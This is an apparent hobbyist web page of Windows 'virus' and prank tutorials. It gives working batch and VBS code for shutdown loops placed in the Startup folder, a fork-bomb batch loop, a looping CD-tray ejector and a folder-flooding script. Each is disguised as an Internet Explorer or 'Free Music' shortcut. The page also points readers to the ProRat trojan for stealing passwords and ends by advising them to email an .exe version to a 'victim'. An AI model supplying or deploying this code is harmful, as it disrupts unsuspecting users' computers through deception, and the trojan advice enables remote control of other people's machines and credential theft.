Viruses

So you're most likely at this page because you want to create some viruses, or funny pranks. Before we begin, DO NOT DO THIS TO PEOPLE WHO CAN'T HANDLE THIS! (and avoid creating viruses in public places as well!) This is where the fun begins! The virus codes will be in red.

These are in no particular order, but each are very useful. :)

How To Crash Someone's Computer With Only a URL
This is a javascript "exploit" (that still works, by the way) and will hang/crash your system. It basically floods you with an infinite loop of mailto:xxx windows. To cancel this (and you have to move fast) kill the process of your email client before you run out of RAM.

WARNING: CLICKING ON THE LINK BELOW MAY CAUSE A CRASH! USE AT YOUR OWN RISK!
Copy this link: http://tiny.cc/ibJUN




How To Take Control of People's Computer and Send Messages, and Get Passwords
This can easily be done by downloading the program ProRat. With this program you can create a trojan that can hide their start menu, make messages pop up on their computer, get their stored passwords, and even get access to their applications and files! Click here to read a detailed tutorial.

The Harmless Shutdown

This is for when you don't have time to load the elaborate shutdown.

First, go to "new" and then "shortcut" in the window type

shutdown -s -t

after that select the amount of time the user will have before their computer shuts down. i usually do 30. so:

shutdown -s -t  30 -c

after that specify your message in quotation marks. if you have nothing to say put it like this:

shutdown -s -t 30 -c ""

if you do have something to say go like this:

shutdown -s -t 30 -c "Warning! Your computer is going to shutdown! Ha ha!"

If you want their computer to restart, substitute -s for -r

shutdown -r -t 30 -c "haha"

once you are done typing this click "next"

name it "internet explorer"

you then have a shortcut on your desktop (if that's where you have begun creating it)

right click your shortcut then click "change icon"

you then have a list of icons to choose from. scroll all the way to the end.

you will see an internet explorer icon. select that. you now have a fake internet explorer shortcut on your desktop. so now when people click on it, it will shut down their computer. (or restart it)

go ahead, click on it...BUT FIRST! you need to know how to abort it. once you have it running, there is no way you can close it down. so if it's running, an you want to close it go to your start menu.

once there click on "run" and in the next window that comes up type

shutdown -a

then click "ok" that should close the program.

Optional:

If you're feeling more "pranky" (a new word!) when you create the shortcut instead of 30 seconds, you can give them 10 seconds.

so it would look like this:

shutdown -s -t 10 -c "my message"

or to make it even funnier, substitute -s for -r.

then drop the program into their startup folder. (that can be found by going to the start menu then "all folders" then "startup"

now everytime they turn their computer on, it will automatically boot your harmless virus, and their computer will shutdown every time they try to turn it on. or if you chose the restart method, their computer won't stop restarting. 

Now the only way the person can fix this is by entering safe mode on their computer, and deleting it from there.

There you go!

The Elaborate Harmless Shutdown

first, open up notepad. then copy and paste this code:

cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo Deleting Critical System Files...
echo del *.*
start /w wscript.exe C:\sleep3000.vbs
echo Deletion Successful!<brstart /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Deleting Root Partition...
start /w wscript.exe C:\sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:\sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x...
cd C:\Documents and Settings\All Users\Start Menu\Programs\
mkdir h4x
start /w wscript.exe C:\sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1...
start /w wscript.exe C:\sleep3000.vbs
echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\
echo start hax.exe
start /w wscript.exe C:\sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
echo Disabling Windows Firewall...
start /w wscript.exe C:\sleep2000.vbs
echo Killing all processes...
start /w wscript.exe C:\sleep2000.vbs
echo Allowing virus to boot from startup...
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo Memory Erased!
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c "Multiple threats detected! Windows is shutting down in an attempt to preserve remaining data."




Once you've done this go to "file" then "save." In the name section it will say

*.txt


rename it to

internet explorer.bat

then save it. once you've done that, right click your .bat file and click "create shortcut"

delete the original file leaving only the shortcut. now when you right click it you can change the icon to internet explorer like I said above. Next go to properties, then click "run in full screen" this makes it look even scarier. you can also specify the colors like i know making the screen background blue makes it look very much like a virus. :) now after this one shuts down the computer, the next time you turn it on it will do it again. but after that, they will have to initialize it. if you want it to keep opening everytime they turn on their computer, just drag it to the startup folder. And you're finished!

The Unending Windows Code

to do this first open notepad and copy the code below.

:loop
start funnyvideo.bat
Goto loop

Next save the document as funnyvideo.bat to a folder you know you're friend will not accidentally open (such as C:\windows). Now, right click your desktop and select New | Shortcut and type in the path of where you just saved the file in the text box. Click next and now enter the name of the file you want to disguise your batch file trap as (such as "Internet Explorer"), and click finish. After the shortcut is created, right click it and select properties. Next, click the change icon button and choose the icon you wish your trap to appear as. Finally delete the real original desktop icon so that only your trap icon is visible. Now when your friend goes to click on Internet explorer, my computer, or whatever you disguised your trap as, he/she will unknowingly open up a infinite number of windows which will after a few minutes cause your friends computer to crash.




The Opening and Closing CD Drive

For this one i'm not sure if you can disguise it as Internet explorer or anything like that. well anyway:

Open note pad

Copy the code below

do

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

loop

paste it on notepad now save it as a .vbs

• Run and see

after running this script it ejects CD or DVD rom till you restart your PC. to stop this restart your machine or catch your rom tray for a while when ejects it.

Make Over a 1,000 Folders In a Few Seconds


Here is a prank that will make an unlimited amount of folders in any place you want.
First, open notepad and type:


@echo off
:top
md %random%
goto top 

 @echo off makes it so that it appears to be a blank screen but it's actually making hundreds of folders. md %random% is a command that creates folders with random names. Goto top makes it return to the label :top, so it keeps on looping. 

Then save it as "1,000 Folders.bat"

After that you'll get something like this:

Right  click on the icon and click "Create shortcut"

Right click the shortcut and go to "properties". Then click "change icon"

Look for an icon they would click on. You could select the Internet Explorer icon and rename it to "Internet Explorer" but a better one is to rename it to "Free Music" and then select the music icon. 

Leave it on their desktop and wait for them to click on it. Once they open it, they will not be able to delete all the folders using cmd. They have to do it manually. 

Or if you want to take this a step further you can convert the file to a .exe using Bat to Exe converter, and then change the icon using the trial version of Icon Changer 3.8. Compress your .exe to a .rar file using WinrRar (make sure your victim's computer can read .rar files, and now send the zipped .rar file by email to your victim!